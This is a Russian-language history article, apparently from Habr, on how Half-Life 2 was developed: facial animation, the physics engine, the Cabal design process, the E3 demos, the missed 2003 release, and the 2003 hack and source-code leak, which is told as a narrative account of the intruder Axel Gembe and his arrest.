Нет, новая игра должна ещё раз изменить жанр. Поэтому на первых порах команде разработчиков сказали, что у них практически неограниченный бюджет и никакого давления по срокам. В [железном треугольнике управления проектами](https://ru.wikipedia.org/wiki/%D0%A2%D1%80%D0%BE%D0%B9%D1%81%D1%82%D0%B2%D0%B5%D0%BD%D0%BD%D0%B0%D1%8F_%D0%BE%D0%B3%D1%80%D0%B0%D0%BD%D0%B8%D1%87%D0%B5%D0%BD%D0%BD%D0%BE%D1%81%D1%82%D1%8C) две вершины были полностью отпущены. Оставалось лишь качество.
Повторить успех первой игры предстояло под руководством лишь одного из сооснователей. 15 января 2000 года Харрингтон дописал свои последние строчки кода в студии и покинул Valve. Он давно хотел плавать с женой по миру на собственной яхте и решил претворить мечту в жизнь. Для Гейба Ньюэлла Харрингтон был родственной душой. До Valve двое долгие годы работали в Microsoft и понимали друг друга.
Разработка второй Half-Life началась в июне 1999 года. Летом в Valve шёл мозговой штурм, предлагались любые идеи, которые смогут двигать жанр вперёд. Возможно, в игре должно быть распознавание речи, чтобы игрок мог общаться с персонажами? Что если в игре будет система напарников, в которой какой-нибудь охранник Барни постоянно будет следовать за Гордоном?
Постепенно вырисовывались принципы построения будущего шедевра. В первой игре пользователям нравилось многое, но особенно отмечали сюжетную линию с персонажами. Как вспоминает Ньюэлл, на тот момент идея звучала глупо, но в Valve решились расширить спектр эмоций в играх. Нужны были персонажи, которых игрок любил бы или ненавидел, которые не оставляли бы его равнодушным.
Эмоции
======
Персонажи в первой игре вызывали хороший отклик: к примеру, игроки действительно сочувствовали, когда одинаковый на всех уровнях охранник Барни погибал. Графика и анимация того времени были примитивными. Для второй части требовалось что-то новое, кроме как открывающиеся и закрывающиеся рты в такт речи. Эмоции нужно было передавать не только игрой актёров озвучивания, но и мимикой лица персонажей.
В те годы создание компьютерной модели реалистичного человека было проблемой даже для кинематографа. Для видеоигр вопрос стоял ещё острее. Если аниматор может отловить ошибку до выхода в прокат и что-то отрендерить заново, то дизайнерам видеоигр нужно учитывать всё заранее.
Работавший над новыми технологиями Valve Кен Бёрдвелл некоторое время перенимал опыт [Кена Перлина](https://en.wikipedia.org/wiki/Ken_Perlin), профессора факультета информатики в Нью-Йорском университете. Перлин был одним из ведущих специалистов в области компьютерной графики: для фильма «[Трон](https://ru.wikipedia.org/wiki/%D0%A2%D1%80%D0%BE%D0%BD_(%D1%84%D0%B8%D0%BB%D1%8C%D0%BC))» он разработал алгоритм [шума Перлина](https://ru.wikipedia.org/wiki/%D0%A8%D1%83%D0%BC_%D0%9F%D0%B5%D1%80%D0%BB%D0%B8%D0%BD%D0%B0). Valve интересовали разработки Перлина в области [лицевой анимации](http://mrl.nyu.edu/%7Eperlin/experiments/facedemo/).
Лицо не должно демонстрировать невозможных движений. Именно этим страдает один из первых экспериментов лицевой анимации 1974 года. Реальный человек не может изогнуть своё лицо так, как эта кучка треугольников.
Бёрдвелл наткнулся на работы психолога [Пола Экмана](https://ru.wikipedia.org/wiki/%D0%AD%D0%BA%D0%BC%D0%B0%D0%BD,_%D0%9F%D0%BE%D0%BB), специалиста по выражениям лица для работников правоохранительных органов и юристов. Позже Экман был консультантом сериала «[Обмани меня](https://ru.wikipedia.org/wiki/%D0%9E%D0%B1%D0%BC%D0%B0%D0%BD%D0%B8_%D0%BC%D0%B5%D0%BD%D1%8F_(%D1%82%D0%B5%D0%BB%D0%B5%D1%81%D0%B5%D1%80%D0%B8%D0%B0%D0%BB,_2009))».
В семидесятых Экман искал способ диагностировать душевные заболевания по выражениям лица. И для этого ему понадобилась карта эмоциональных состояний людей. Исследователь разработал набор из примерно 40 разнообразных «единиц лицевого действия» — простых эмоций уровня поднятых бровей, собранных в точку губ, широко раскрытого рта и так далее. Кроме клинических описаний, как выглядит каждая из эмоций, он написал правила, как они совмещаются.
*Из левого верхнего угла по часовой стрелке: ярость, страх, отвращение, печаль, счастье, удивление.*
Как оказалось, если собрать все эти правила работы мышц в код и натянуть на голову персонажа, лицо в игре никогда не сделает невозможных движений.
[](https://habrastorage.org/files/d1f/920/218/d1f920218fe8449798ea957e5555a96e.jpg)
*Эмоции Аликс Вэнс в демке для E3 2002.*
Для создания сценок с мимикой, движениями скелетной анимации и синхронизации движения губ в Valve создали инструмент Faceposer. Сегодня он является стандартным инструментом SDK движка Source.
[](https://habrastorage.org/files/2cd/ecc/74f/2cdecc74fa9c49f4b797d40c9b2ce813.jpg)
Физика
======
Живыми должны быть не только персонажи, но и весь мир Half-Life 2. Времена, когда интерактивность ограничивалась нажатием на кнопки торгового автомата и смыванием унитазов, в прошлом. На стадии сбора идей в Valve решили использовать ИИ, физический движок и сам дизайн карт для создания интерактивности. В сиквеле игроку хотели предоставить свободу взаимодействия с предметами. Быстро появились сценарии уровня «поднять радиатор и как щитом защищаться им от врагов».
Не стоит думать, что до Valve попыток добавить физическое взаимодействие в игру не было. Смелые эксперименты были, пусть и не всегда удачные. К примеру, «физика» была в игре Trespasser 1998 года. Критики ругали бессмысленно сложный физический движок и баги.
В Valve хотели добавить «физику» за пределами заскриптованных сценок — такие взаимодействия, которые утверждали бы о причастности человека за клавиатурой и мышью к игровому миру, которые использовались бы в геймплее. Обычный уровень хотели превратить в игровую площадку, где у любой задачи есть несколько решений с манипулированием объектами.
Ни один другой сторонний продукт не подходил для того, что задумали в Valve. Уже к концу лета 1999 года необходимость писать собственный игровой движок не вызывала вопросов. И уже тогда было ясно, что на разработку игры с новым движком уйдёт не меньше трёх лет. Нужно было написать новый сетевой код (с «физикой», работающей в мультиплеере), новые формы ИИ, улучшить обработку звука, поднять уровень графики.
В отпочкованный от GoldSrc экспериментальный движок Source программисты добавляли новые функции, код физического взаимодействия, лицензированный от мелкой немецкой фирмы [Ipion Virtual Physics](https://ru.wikipedia.org/wiki/Ipion_Virtual_Physics) (позже выкуплена Havok), и улучшали графическую составляющую.
Поиски сюжета
=============
Первая и вторая игры значительно отличаются размахом. Речь не про длину, а окружение и описываемые события. Первую часть нисколько не интересует, что происходит за стенами исследовательского комплекса «Блэк-Меса». В конце игрок оказывается в причудливом окраинном мире Зен, но большую часть игры это всё те же коридоры, что и в предшественниках середины девяностых.
В Half-Life 2 хотели создать набор разнообразных игровых окружений. Это уже не просто какие-то помещения и лаборатории, а что-то глобальное. Поначалу сценаристы хотели телепортировать Гордона с планеты на планету, где он истреблял бы орды пришельцев Зена из первой игры. Идея была отброшена — между уровнями нужна последовательность.
Действие переместилось на Землю, захваченную Альянсом, военизированной тоталитарной инопланетной империей. Сколько времени прошло между действиями первой и второй частей, игроку не сообщают. Для подготовки к созданию реалистичных пейзажей и текстур были сделаны более 50 тысяч фотографий в США и Европе.
[](https://habrastorage.org/files/3cf/cb3/6c9/3cfcb36c99e142a885c7a4fd1cedacf9.png)
В итоговом сценарии отправной и конечной точкой путешествия Гордона является город. В процессе разработки он был сильно пересмотрен. Некоторые варианты расположены на Восточном побережье США. Альянс захватил город, но предпочитает перерабатывать его структуры и материалы, а не создавать что-то с нуля. Огромные небоскрёбы, тёмная палитра цветов, готичная архитектура, влажность осадков и тумана, металл, кирпич и стекло — всё это исчезло.
[](https://habrastorage.org/files/dc8/a14/1c8/dc8a141c842c48259f7c37c62e73ed80.jpg)
Родившийся в Болгарии Виктор Антонов предложил перенести место действия в городские кварталы восточноевропейского города и его окружение. Идея пошла в ход. Постепенно Сити-17 переместился на другую точку глобуса и обрёл свои яркие цвета. Антиутопия из романа Оруэлла осталась: везде летают сканеры, а с экранов идёт пропаганда.
[](https://habrastorage.org/files/207/6d7/fec/2076d7fecbff4f6bbab26a5742a218eb.jpg)
*Вокзал Сити-17.*
[](https://habrastorage.org/files/364/30f/50d/36430f50dd1446238c3016c3f7764505.jpg)
*Вокзал Ньюгати, Будапешт.*
Игра получалась большой, даже выматывающе огромной. Как и первая, она начиналась с длинного путешествия на поезде, во время которого Гордона вводят в курс происходящего. Из окон вагона игрок наблюдает за опасностями Пустошей. По прибытии в защищённый стеной Сити-17 Гордон долго бродит и изучает окружение, натыкается на лабораторию доктора Айзека Кляйнера. Телепорт барахлит, Фримен в спешке покидает город.
После путешествия по Пустошам Гордон доходит до Рейвенхольма. За этим следует свалка, Илай Максвелл со своей робособакой, который выдаёт Гордону гравитационную пушку. Фримен отправляется в пещеры муравьиных львов, садится на поезд до тюрьмы и прибывает на станцию воздухообмена. Далее — арктические локации, корабль «Бореалис», база «Кракен», станция управления погодой, полёт до Сити-17 на самолёте, уличные бои, разгром Цитадели и Консула.
[](https://habrastorage.org/files/2e4/ead/914/2e4ead9144be45c086ad765b2ac5e5c6.jpg)
*Карта одного из вариантов сценария.*
Целые фрагменты и персонажи либо пойдут под нож, либо позже появятся в эпизодах. Объединить можно не только две локации, но и сделать из двух людей одного. К примеру, Илай Вэнс, отец Аликс и один из лидеров Сопротивления, — это капитан Вэнс и Илай Максвелл. В оригинале Илай Максвелл живёт на свалке металлолома. Наверное, поэтому для лица Илая использовали фотографии безымянного бездомного.
[](https://habrastorage.org/files/bc4/fa9/f1a/bc4fa9f1a28d489c898fa8717e58173a.jpg)
*Референсы некоторых персонажей. В Valve не используют профессиональных моделей, а охотятся за обычно выглядящими людьми с запоминающимися деталями во внешности. К примеру, Айзек Кляйнер — это бухгалтер из компании, размещавшейся в том же здании, что и Valve.*
Раздача телевизоров
===================
Впрочем, описываемое выше — это долгий путь к финальной игре. На 2000 год сюжет уже сформировался, но в основном на бумаге: в текстовых описаниях и концепт-арте. Работать в ситуации, когда движок толком не закончен, трудно.
К лету 2001 года в игре только-только заработали физические взаимодействия. Постепенно движок дорос до такой степени, что можно было делать наброски карт. Воодушевленная успехами программной части небольшая группа дизайнеров уровней сделала тестовый уровень «Get your free TVs». Это был лишь несерьёзный эксперимент, планов добавлять его в игру никогда не было.
Бунтующие граждане и [метрокопы](http://ru.halflife.wikia.com/wiki/%D0%93%D1%80%D0%B0%D0%B6%D0%B4%D0%B0%D0%BD%D1%81%D0%BA%D0%B0%D1%8F_%D0%9E%D0%B1%D0%BE%D1%80%D0%BE%D0%BD%D0%B0) устраивают уличные бои. В процессе бунтующие кидают в бронетехнику бутылки с зажигательной смесью, взрывы демонстрируют успехи физического движка. Мародёры, пользуясь паникой ситуации, начинают грабить магазины и выкрикивать забавную реплику, ставшую названием уровня: «Получите ваши бесплатные телевизоры!»
[](https://habrastorage.org/files/42d/4ec/eb2/42d4eceb270e449fb50b440e336ae31f.jpg)
*Единственный официальный скриншот уровня.*
В этом же 2001 году Ньюэлл полностью оставил Half-Life 2 и с головой ушёл в разработку Steam — того самого Steam, который выйдет в сентябре 2003 года и будет жутко раздражать пользователей частыми обновлениями и нестабильностью работы. В то время у Valve не было системы онлайн-дистрибуции контента. После каждого патча Counter Strike на несколько дней отваливалась та часть пользователей, которая не обновила клиент.
Увидев пробную карту про воровство бытовой электроники, Гейб попросил разработчиков запрототипировать немного геймплея для внутренних нужд: оценки осуществимости проекта и демонстрации для остального мира на Electronic Entertainment Expo 2002 года. В конце 2001 команда начинает готовить фрагменты того, что должно быть готово к маю следующего года.
E3 2002
=======
Хотя обычно Ньюэлл принимает непосредственное участие в разработке, он отдалился от участия в создании игры и работал над Steam. Поэтому о готовности трейлера для E3 2002 он мог бы судить как непредвзятый арбитр.
В марте 2002 года на Game Developers Conference Гейб впервые рассказал миру о Steam. В игровом мире появился настоящий Робин Гуд, который хотел покончить с засильем издателей. Как заявил Ньюэлл, большинство компаний-разработчиков получают в районе 7 долларов за проданную игру. Система онлайн-дистрибуции по типу Steam, обещал Гейб, снизит расходы на посредника и доведёт доходы разработчика до 30 долларов с копии. В Valve говорили о планах продолжать делать физические копии игр, но также начать выпускать их в Steam.
*Официально оригинальное видео никогда не было выпущено. Благодаря утечкам есть несколько минут того трейлера.*
По прибытии с GDC Ньюэллу показали демку. Основной фрагмент — это почти 20-минутная демонстрация лаборатории доктора Кляйнера с самим Айзеком и Аликс. Длинный диалог показывал эмоции, над которыми так долго работали в Valve. Демка показывала будущий мир и то, как будет работать физическая составляющая.
*Дети работают на заводах. В финальной игре детей нет — Альянс уже много лет подавляет размножение специальным полем.*
Вердикт Ньюэлла гласил, что хотя была проделана большая работа, нужно что-то ещё более завораживающее. Персонажи оказались интересными, но диалог затянулся и быстро наскучил. Физика присутствовала, но нельзя было понять, что в ней такого революционного. Half-Life 2 не появилась на E3 2002.
*Демонстрация угнетения граждан Альянсом в Сити-17. Цитадель заметно отличается от финальной версии.*
Настроение в группе просело. Некоторое время разработчики пребывали в подавленном состоянии, но всё же выправились. На следующий год нужно было готовить новую демонстрацию. Чем-то ситуация напоминала осень 1997 года, когда разработка Half-Life зашла в тупик. Тогда в Valve всё начали практически с нуля, но это того стоило.
К сентябрю 2002 года обрел очертания новый прототип будущей игры. Инструменты дизайна уровней и персонажей значительно улучшились, что помогло процессу. Появились заезд на багги по побережью Сити-17, встреча с головокрабами, атака страйдера в городе. Часть геймплея заимствовали из оригинала, а фрагмент в лаборатории Кляйнера урезали до минут. Новый набор сценок показали Ньюэллу.
Лишь теперь Гейб остался удовлетворён качеством задумки. Началась полномасштабная разработка с привлечением советов по вэлвовской методике Cabal и полным планированием процесса. Объявления о начале разработки для внешнего мира не было. В октябре Ньюэлл собрал сотрудников и поставил сроки: демонстрация на E3 2003 весной и выход в конце 2003 года.
Cabal
=====
На своей первой игре Valve [отработала схему с «советами заговорщиков»](https://geektimes.ru/post/280966/), названными по имени «[кабального](https://ru.wikipedia.org/wiki/%D0%9A%D0%B0%D0%B1%D0%B0%D0%BB%D1%8C)» совета при Карле II. «Кабальные» советы придумывают и набрасывают на бумаге дизайн будущих уровней и сюжет. Такие группы могут созываться для решения любых других вопросов по игре. Эту же схему применили для Half-Life 2, разве что учли, что теперь в студии втрое больше сотрудников.
Незаконченность движка добавляла проблем. Если для Half-Life лицензировали готовый движок и добавили в него модных красивостей, то для второй части критически важные для геймплея части менялись по ходу создания игры. К примеру, к началу разработки транспорт не работал. Каким широким может быть обрыв, если неясно поведение багги? Приходилось идти на допущения, а они часто оказывались неверными.
В разработке Half-Life 2 принимали участие три независимых «кабальных» совета. В каждом из трёх состоит 4—6 человек, примерно половина — дизайнеры, половина — программисты. Каждый в совете — потребитель услуг остальных. Дизайнеры уровней являются потребителями работы программистов, программисты переделывают код, поэтому они клиенты дизайнеров уровней. Физически каждую из групп Cabal рассаживали в одну комнату, чтобы они не разбредались решать третьесортные задачи.
В «кабальный» совет Half-Life входил художник и сценарист. «Трёхкабальная» архитектура разработки Half-Life 2 требовала, чтобы художники и сценаристы стали общими. В дополнение к трём советам появились три команды: художники, сюжетники и звуковики.
Первая команда занималась обликом монстров, окружений и персонажей на ранних этапах разработки и художественными украшательствами, когда начали появляться финализированные уровни. Дизайн уровней был полностью отделён от арт-дизайна. Другими словами, «кабальные» советы производили помещения с оранжевыми стенами. Художники расставляли текстуры и объекты.
[](https://habrastorage.org/files/d18/e6e/507/d18e6e50737d4ebf92a063fcadae6115.jpg)
[](https://habrastorage.org/files/a8c/92f/f48/a8c92ff48b8e4c978241d7478a3fa763.jpg)
*Один из уровней тюрьмы «Нова проспект» на стадии прототипа и в финальном виде после учёта результатов тестирования.*
Оранжевые карты помогали избегать критики художественного оформления в стадии, когда нужна была критика конструкции уровня. Ещё один плюс: художники берегли силы и не начинали работать над оформлением до окончания плейтестов. В работе у них появлялось больше свободы для экспериментов с визуальными стилями.
Для прохода художникам отдавали успешно оттестированный прототип и руководства по стилю. Последние представляли из себя неиграбельные уровни, создаваемые исключительно для демонстрации визуального оформления. Геометрию прототипа геймплея реализовывали в финальных моделях. На уровне появлялись освещение, вспомогательные материалы и эффекты. Дополнительные плейтесты готового уровня помогали избежать ситуаций, когда плейтестеры отказывались шагать по хлипкому мостику, который в оранжевом прототипе был стабильной структурой.
Вместо заскриптованных сценок группы Cabal добавляли текстовые заглушки. К примеру, вместо будущей сцены с изящным преодолением обрыва мог быть текст: «Когда-нибудь здесь можно будет перепрыгнуть обрыв на джипе». Сюжетники помогали с реализацией некоторых из этих заглушек: на уровнях появлялись анимации и взаимодействия. В сложных сценах с обилием сюжетного развития (лаборатория Кляйнера, Восточная Чёрная Меса, кабинет Брина) команда сюжетников становилась четвёртым «кабальным» советом.
Как связать ограничения групп Cabal, которые делают геймплейный дизайн, с сюжетом? В прототипах уровней геймплей быстро менялся, а линия сюжета должна была сохраняться. Для этого «кабальным» советам давали две опорные точки, к примеру, выход из «Сити 17» и окончание путешествия в «Восточной Чёрной Месе». Элементы сюжета между этими точками намеренно оставляли в расплывчатом виде. Совет работал над дизайном уровней, руководствуясь лишь самыми главными ограничениями. Затем команда по сюжету встречалась с советом и расставляла важные элементы. К примеру, это могли быть напоминания о цели или обучение новой игровой механике.
Каждый из «кабальных» советов имел свои сильные и слабые стороны, вызванные его составом. У кого-то лучше выходило создавать загадки с физическим движком, кто-то хорошо расставлял врагов для боёв. Советы делились хорошими идеями. К примеру, рейвенхольмовцы вдохновили работающий над Цитаделью совет на усиленную версию гравипушки.
Изменение некоторых элементов грозило нарушить порядок в области ответственности других советов. Чтобы подобного не случалось, был сформирован Cabal по оружию, созываемый из представителей трёх советов. Уровень навыков в жанре шутера в совете по оружию варьировался от высокого до низкого, чтобы учесть все группы игроков.
Тем не менее, даже этого гибкого сценария работы не всегда хватало. Рейвенхольм изначально был до «Восточной Чёрной Месы», но его сдвинули в угоду силы игровых механик гравипушки.
В конце февраля Ньюэлл уверенным тоном откуда-то достал дату выхода с точностью до дня: 30 сентября 2003 года. Команда быстро оценила трудность выполнения этого срока и начала готовиться к работе в авральном режиме.
E3 2003
=======
Как показать игру, чтобы фанаты сразу в неё влюбились? Изначальный план предусматривал 30-минутную демку в лаборатории. В ней Аликс показывает новые технологии, а затем внезапно лабораторию атакуют силы Альянса. Аликс и Гордон вынуждены бежать. Но за несколько недель до E3 было видно, что всё, что покажут на выставке, должно присутствовать в финальной игре.
*Демонстрация игры на E3 2003. Интересны комментарии кого-то из зала после появления на экране красоты физических взаимодействий: «А на моём [486-м](https://ru.wikipedia.org/wiki/80486) это заработает?»*
То, что увидели фаны, выглядело как несколько технических демонстраций и немного геймплея. Исчезла неуверенность в том, что преемник первой игры не превзойдёт её успеха. Игра получила награду выставки. Однако скептики ставили под сомнение, успеет ли Valve закончить работу к осени. Их логика понятна: почему никому на выставке не дали поиграть в новую игру, если она уже вот-вот поспеет? Конкуренты поговаривали, что в игре такая «физика» вряд ли будет: создавать для неё уровни — это настоящий кошмар.
Срыв срока
==========
E3 закончилась, и Valve продолжала создавать будущий шедевр. Уже тогда ощущение запаздывания витало в воздухе. Его заметят куда позже, когда в компании начали искать ошибки в прошлых действиях. К примеру, как вспоминает Ньюэлл, пора было бы уже готовить локализацию диалогов на другие языки, но их всё ещё не закончили.
Для того, чтобы успеть к сроку, от части игры хотели отказаться. Гидроцикл так и не заработал, поэтому уровни с ним хотели убрать вообще. На сюжетные сценки уходило много ресурсов, поэтому их тоже хотели подрезать. Когда к Гейбу обратились с просьбой утвердить эти изменения, он заявил, что команде не нужно идти на компромиссы. Наконец, стало ясно, что 30 сентября игра не выйдет.
Тем не менее, Valve молчала о сдвигах сроков. 29 июля издатель игры Vivendi Universal Game сообщала компаниям-продавцам игр, что Half-Life 2 выйдет не 30 сентября, а где-то в период праздников 2003 года. Интернет отреагировал бурно.
Сегодня Ньюэлл и по комплекции, и по манере поведения напоминает Деда Мороза. Это добрый дедушка с белой бородой, который отвечает на письма детей. Разве что писать нужно не в Великий Устюг, а на адрес электронной почты. И Гейб действительно иногда отвечает. Чаще всего это быстрые однострочные ответы, хотя бывают развёрнутые комментарии. Так было и когда Valve была мелкой студией, так остаётся и по сей день, когда компания подросла до размеров гиганта.
Но летом 2003 года Ньюэлл почти перестал контактировать с сообществом. После распространения информации о сдвиге сроков один из фанов написал Гейбу на почту и спросил, правдивы ли эти слухи. «Первый раз слышу», — ответил Ньюэлл. Фаны посчитали его ответ подтверждением изначального срока.
[](https://habrastorage.org/files/825/26b/241/82526b2419ba46d5913e714ef95161c9.jpg)
*Ранний набросок перемещений в локациях Сити-17. В итоговой игре эти фрагменты были сильно упрощены.*
24 августа Valve заявила, что дата выхода не изменилась, и игра выйдет по всему миру 30 сентября. Примерно такое же заявление было 27 августа. В сентябре поклонники ждали подтверждения выхода на «золото». 18 сентября один из фанов посетил офис Valve и опять получил тот же ответ: игра выйдет 30 сентября.
Лишь 23 сентября Valve признала состояние дел. За неделю до предполагаемого релиза компания заявила, что срок выхода сдвигается. Новая возможная дата — зимние праздники, но конкретной даты не давали. В последующие несколько дней Ньюэлл отказался от любых интервью и комментариев о состоянии игры.
Фанаты были поражены. Они сразу припомнили Valve проект Team Fortress 2. Первую демку [показали](https://www.youtube.com/watch?v=kTJF4b8XWt8) ещё на E3 1999, но больше об игре ничего не было слышно. И что, Half-Life 2 тоже так исчезнет в никуда?
Куда позже Ньюэлл объяснил, что действительно произошло. Уже к июлю было ясно, что сиквел Half-Life не выйдет к назначенному сроку. Но о задержке не объявляли потому, что новой даты просто не было. Гейб впал в ступор и молчал до самого последнего момента.
На 30 сентября производитель видеокарт ATI (ныне подразделение AMD) назначил крупную вечеринку по случаю выхода Half-Life 2. По слухам, ATI заплатил 6 миллионов долларов за кампанию поддержки и прочие маркетинговые радости. На вечеринку 30 сентября компания ATI сняла [Алькатрас](https://ru.wikipedia.org/wiki/%D0%90%D0%BB%D1%8C%D0%BA%D0%B0%D1%82%D1%80%D0%B0%D1%81) — тот самый остров-тюрьму, весь. Ньюэлл должен был появиться на вечеринке в рамках данных обязательств.
30 сентября мужчина красной поло погрузился на паром с пирса 41 в Сан-Франциско. В 20:30 Ньюэлл вышел на импровизированную сцену в тюрьме. За этим последовала речь в пользу ATI и крошечный бенчмарк движка Source. Ни о какой Half-Life 2 речи не шло.
Демка показывает работу шейдеров, High-Dynamic Range и высококачественных отражений. На крыше одного из городских уровней `d1_trainstation_04` поставили стража муравьиных львов, которому в Сити-17 делать абсолютно нечего. Демонстрация сделана быстро и грубо.
Немало удивлённые журналисты пытались расспросить Гейба о новой дате выхода, но тот, похоже, очень хотел вернуться в родной Сиэттл. «Ненавижу даты выхода. Как ни стараемся, всегда прокол», — заявил он в ответ на один из вопросов, вышел и поймал первый паром до материка в 21:30.
Эффекты HDR в релизной версии Half-Life 2 отсутствуют. Они появились в демке Half-Life 2: Lost Coast, которая вышла только через год после оригинальной HL2.
Взлом
=====
Ярость фанатов и смешная демонстрация — это ничто по сравнению с тем, что обрушилось на Valve в дальнейшем.
Что-то неладное началось ещё в сентябре. В неожиданные периоды времени на компьютере Гейба моргал светодиод использования жёсткого диска. Проблема осталась после форматирования и переустановки системы. Внутренняя проверка ничего не выявила.
За этим последовали события, которые начали внушать реальные опасения. В Интернете появилась копия внутреннего письма между Гейбом и одним из программистов Valve. Ничего особенного там не говорилось, просто какой-то рабочий вопрос по Counter Strike.
После более детального исследования Ньюэлл обнаружил на своей машине странные программы на скрытых томах, а в корпоративной сети Valve — неожиданные всплески активности. Как минимум ещё 13 машин были заражены. Ньюэлл промчался по офисам и потребовал отключить компьютеры от Интернета, вырвал кабели из розеток и выключил оборудование.
2 октября в Интернете начали появляться файлы, украденные из внутренней сети Valve. Там были: исходные коды движка Source, наработки Half-Life 2, Counter Strike и нескольких других игр, включая заброшенные проекты. 7 октября в Сети появилась запускаемая версия игры. В ней присутствовало то, что показывали на E3 2003. Было видно, что Half-Life 2 ещё очень далеко до релиза.
Пользователи начали составлять неприличные изображения из ресурсов игры, к примеру, оральный секс между Кляйнер и Аликс. Но особенно больно по репутации и самолюбию Valve бил комментарий выдавшего файлы Osama Bin Leaker: он заявил, что E3 была подделкой. Несколько месяцев Ньюэлл скрывал реальное состояние игры, а теперь её «сырость» мог оценить собственными глазами любой желающий. Действительно, показанное на E3 отчасти было потёмкинской деревней.
*Сцена с гидрой полностью заскриптована. Монстр вырезан из финальной версии: с ним трудно сражаться.*
---
На другом конце света, в крошечном (чуть больше двух тысяч человек населения) городке Шёнау в Германии проживал со своим отцом 22-летний Аксель Гембе, хакер, которому было уготовано сыграть в этой пьесе главную роль. Мир взлома затянул геймера случайно — однажды он скачал и установил программу-вирус sdbot, маскировавшуюся под генератор ключей Warcraft III. Вместо того, чтобы почистить систему и забыть о трояне, Гембе подверг продукт обратной разработке и изучил принципы её работы.
Программа управлялась посредством IRC-сервера, и Аксель выследил его оператора. Опять же, вместо того, чтобы сдать его правоохранительным структурам, Гембе начал задавать вопросы о вредоносном программном обеспечении. Гембе создал свой зловред, ворующий CD-ключи, чтобы получать доступ к играм, в которые взломщик жаждал сыграть. Со временем его [Agobot](https://en.wikipedia.org/wiki/Agobot) стал одним из самых опасных троянов той эпохи.
Преступная деятельность Гембе подогревалась не желанием получить прибыль или нанести убытки, а лишь его страстью к видеоиграм. Среди любимых была и Half-Life. Как и все остальные её поклонники, в 2002 году Аксель страдал от отсутствия любых намеков на сиквел, что натолкнуло его на мысль о взломе корпоративной сети Valve.
Как говорит хакер, всё произошло случайно — в процессе сканирования сети Гембе обнаружил, что за внешней непробиваемостью кроется слабое место: сервера доменных имен Valve разрешали анонимные AXFR-запросы, благодаря которым были получены все поддомены имени ValveSoftware.com.
В логах сканов портов Аксель нашел не фильтруемый файерволлом сервер вне сети Valve, который принадлежал компании Tangis, занимавшейся носимыми компьютерными устройствами. На нем был общедоступый для записи корень сайта, в который взломщик выгрузил ASP-скрипты. Таким образом Гембе получил доступ в нутро корпоративной сети с первой попытки. Аксель выгрузил дамп хэшированных паролей пользователей системы, а благодаря технической базе Швейцарской высшей технической школы Цюриха по нему были быстро восстановлены пароли.
Осматривая окружение, Гембе натыкался на документы, проектные требования, заметки о создании игры — именно то, за чем он и пришел. С другой стороны, даже спустя недели о факте проникновения в Valve так никто и не подозревал, поэтому хакер осмелел. На одной из машин он обнаружил исходные коды игры, в которую ему не терпелось поиграть. Благодаря производительности системы управления версиями Perforce выгрузка не доставила особых хлопот.
[](https://habrastorage.org/files/ab4/87a/67a/ab487a67adb649b4af1afc9cd54f9dbd.png)
*Главное меню Half-Life 2 образца 2003 года.*
Игра, однако, так и не запускалась на компьютере Акселя. Он отключил шейдеры, что сделало её куда скучней. Взломщик вспомнил, что у кода было несколько форков, которые Гембе стал проверять подряд.
Позже Аксель расскажет, что в публичный доступ код не выкладывал, а лишь дал одному знакомому хвастовства ради, слабо задумываясь о последствиях. Знакомый же обещал не допускать утечки, но своего слова не сдержал. Остановить распространение после попадания в файлообменные сети было невозможным.
---
Гейб связался с ФБР, но дополнительно решил воспользоваться хорошим отношением с сообществом. На форуме Half-Life 2 (ныне ValveTime.net) глава Valve разместил [пост «Мне нужна помощь сообщества»](http://www.valvetime.net/threads/i-need-the-assistance-of-the-community.10692/), где просил у игроков информацию о хакере. Игроки отреагировали неоднозначно. Часть из них считала, что это всё — красивая пиар-акция, целью которой является демонстрация демо-версии игры. Кто-то пытался помочь, но безуспешно.
*Сравнение одной из утекших карт с её финальной версией. Здесь можно видеть, как выглядит набросок «кабального» совета: много пустых текстур и текст вместо событий.*
15 февраля 2004 года хакер вышел на связь с Valve и объяснил непреднамеренную природу совершенных им действий. Ньюэлл подавил желание взять монтировку и купить билет на самолёт. Вместо этого он начал выпытывать детали. Молодой человек демонстрировал типичную ментальность взломщика: если мне ничего за это не будет, то моя жертва заслужила взлом.
В то же время любому хакеру присуща гордость за осуществлённое проникновение, чем и хотели воспользоваться. Достаточно было лишь признания совершения противоправных действий, записанного на пленку. Хакеру «предложили» работу в Valve в качестве консультанта безопасности. «Собеседование» по телефону с хакером провел Альфред Рейнольдс, разработчик Counter Strike и Steam.
За сорок минут хакера детально расспросили о деталях взлома, проникновения в сеть, навыках и опыте. Гембе, потеряв всякое чувство вины из-за присутствия своих кумиров, рассказал всё. Аксель получил приглашение на второе «собеседование», на этот раз на американской земле, в Сиэттле, в офисе Valve. Но хакера задержали не в США, а в Германии. Американское внимание к гражданину страны вызвало подозрение немецких властей, и они взяли всё в свои руки.
Утром 7 мая 2004 года Акселя в его собственной постели разбудили вооруженные люди, предъявили обвинения в проникновении в сеть американской корпорации и нанесении ущерба на сумму свыше 250 миллионов долларов. Хакер был арестован. Суд против Гембе прошёл в Германии в ноябре 2006 года, через 2,5 года после утечки. Взломщик получил 2 года условного срока. Суммарно в тюрьме он провёл всего две недели.
Альфа-версия
============
Разработка продолжалась, хотя взлом и срыв сроков подорвали продуктивную атмосферу. Внутри Valve происходили неприятные процессы: настроение разработчиков упало, а релиз игры трудно было представить в обозримом будущем. При этом каждый месяц разработки обходился в миллион долларов. Один из молодых дизайнеров однажды спросил Ньюэлла: «Не убьет ли это компанию?»
Но постепенно моральное состояние пошло на поправку. Если в утекшую игру образца сентября 2003 играть возможно вряд ли, то уже в марте 2004 года все 14 глав Half-Life 2 можно пройти с начала и до конца. Началась активная фаза плейтестов. Играла вся Valve, даже отец Гейба заезжал оценить и оставить отзыв.
Первые наброски сюжета очень отличаются от получившегося в итоге. Игра начинается не во время длинной поездки в поезде, не на ледоколе «Бореалис», а на быстром введении, которое отнимает считанные минуты. Использование гидроцикла от первого лица выглядело как бег. Его уровни не стали удалять, а заменили на более подходящий для Сопротивления ржавый воздушный катер.
Хотя показанные на E3 2004 сценки редко отличаются от финальных, весной 2004 до релиза было очень далеко. Нужно было тщательно сбалансировать плотность взаимодействия в каждой из точек, чтобы игра не была слишком скучной или интенсивной.
Первые проходы плейтестов выявили значительные вариации темпа. Часто переходы в главах вообще не внушали какого-либо смысла, поскольку один «кабальный» совет не мог предсказать, что произойдёт у другого. От главы к главе сильно менялся уровень сложности. Часть вопросов, к примеру, переходы между главами, снимались быстро. Сложнее всего оказалось решить проблему качества на протяжении всей игры.
